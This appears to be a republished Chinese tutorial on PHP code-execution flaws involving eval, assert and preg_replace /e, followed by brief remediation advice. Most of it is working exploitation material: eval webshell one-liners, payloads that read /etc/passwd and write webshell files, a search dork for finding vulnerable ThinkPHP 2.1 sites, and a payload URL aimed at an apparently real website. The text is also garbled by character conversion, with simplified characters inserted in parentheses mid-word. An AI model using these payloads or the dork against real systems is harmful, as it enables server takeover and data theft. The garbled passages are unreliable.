Web安全之代码执行漏洞
內(nèi)容
1、代碼執(zhí)行漏洞的概述
2、代碼執(zhí)行漏洞的危害
3、代碼執(zhí)行漏洞的利用
4、代碼執(zhí)行漏洞的防御
背景介紹
在Web應(yīng)用中有時候程序員為了考慮靈活性、簡潔性,會在代碼調(diào)用eval函數(shù)(PHP函數(shù))去處理。比如當(dāng)應(yīng)用在調(diào)用一些能將字符串轉(zhuǎn)化成代碼的函數(shù)時,沒有考慮用戶是否能控制這個字符串,將造成代碼執(zhí)行漏洞。
例子
PHP CMS中 settings的內(nèi)容:
PHP CMS中 很常用的string2array函數(shù):
function string2array($data){if($data == ''){return array();}eval("\$array = $data;")return $array; }PHP CMS中 很常用的string2array函數(shù):
<?php $data = "array('a'=>'aaaa','b'=>'222222','c'=>'',111=>phpinfo(),222=>'22')"; eval("\$arr = $data;"); ?>其實settings是一個字符串形式的“PHP數(shù)組”,這里必須使用eval函數(shù)才能將“字符串”變成一個真正的數(shù)組。
漏洞危害
- 執(zhí)行任意代碼
- 向網(wǎng)站寫WebShell
- 控制整個網(wǎng)站甚至服務(wù)器
相關(guān)函數(shù)
- eval()
- assert()
- preg_replace() + /e 模式
- create_function()
- array_map()
- call_user_func()/call_user_func_array()
- array_filter()
- usort(),uasort()
- file_put_contents()
- fputs()
- $_GET[‘a(chǎn)’]($_GET[‘b’]);//a=assert&b=phpinfo()
think2.1
//
intext:thinkphp intext:“Fast & Simple OOP PHP Framework” intext:“2.1”
${@print(eval($_POST[1]))}
{${@eval($_POST[1])}}
http://www.ksftea.com/index.php/module/action/param1/${@print(eval($_POST[1]))}
eval()函數(shù)漏洞利用_1
<?php $data = $_GET['data'];eval("\$ret = $data;");echo $ret; ?>- /?data=phpinfo()
- /?data=1;phpinfo()
- /?data=${phpinfo()}
eval()函數(shù)漏洞利用_2
<?php//關(guān)閉魔術(shù)方法$data=$_GET[‘data’];eval(“\$ret = strtolower(‘$data’);”);echo $ret; ?>- /?data=1’);phpinfo();//
eval()函數(shù)漏洞利用_3
<?php$data=$_GET[‘data’];eval(“\$ret = strtolower(\”$data\”);”);echo $ret; ?>- /?data=${phpinfo()} (php版本5.5及以上)
- /?data=“);phpinfo();//
preg_replace+/e利用
<?php$data=$_GET[‘data’];echo $data;preg_replace(‘/<data>(.*)<\/data>/e’,‘$ret=“\\1”;’, $data);echo $ret; ?>php版本在5.5以上
- /?data=${phpinfo()}
- http://localhost/baji/vul/eval/e1.php?data=<data>${assert($_POST[1])}</data>
漏洞利用
{${@eval($_POST[1])}} 一句話
{${exit(print(getcwd()))}} 獲取當(dāng)前工作路徑
{${exit(var_dump(file_get_contents($_POST[f])))}}
讀文件 f=/etc/passwd
{${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}}
寫webshell f=1.php&d=1111111
漏洞修復(fù)方案
- 對于eval( )函數(shù)一定要保證用戶不能輕易接觸eval的參數(shù)或者用正則嚴(yán)格判斷輸入的數(shù)據(jù)格式。
- 對于字符串一定要使用單引號包裹可控代碼,并且 插入前進(jìn)行addslashes().
- 對于preg_replace放棄使用e修飾符。如果必須要用e修飾符,請保證第二個參數(shù)中,對于正則匹配出的對象,用單引號包裹 。
相關(guān)參考鏈接
http://www.jb51.net/hack/43074.html
http://0day5.com/archives/3139
http://www.kubiji.cn/topic-id1105.html
總結(jié)
以上是生活随笔為你收集整理的Web安全之代码执行漏洞的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 靶场环境vulhub的安装
- 下一篇: Web安全之命令执行漏洞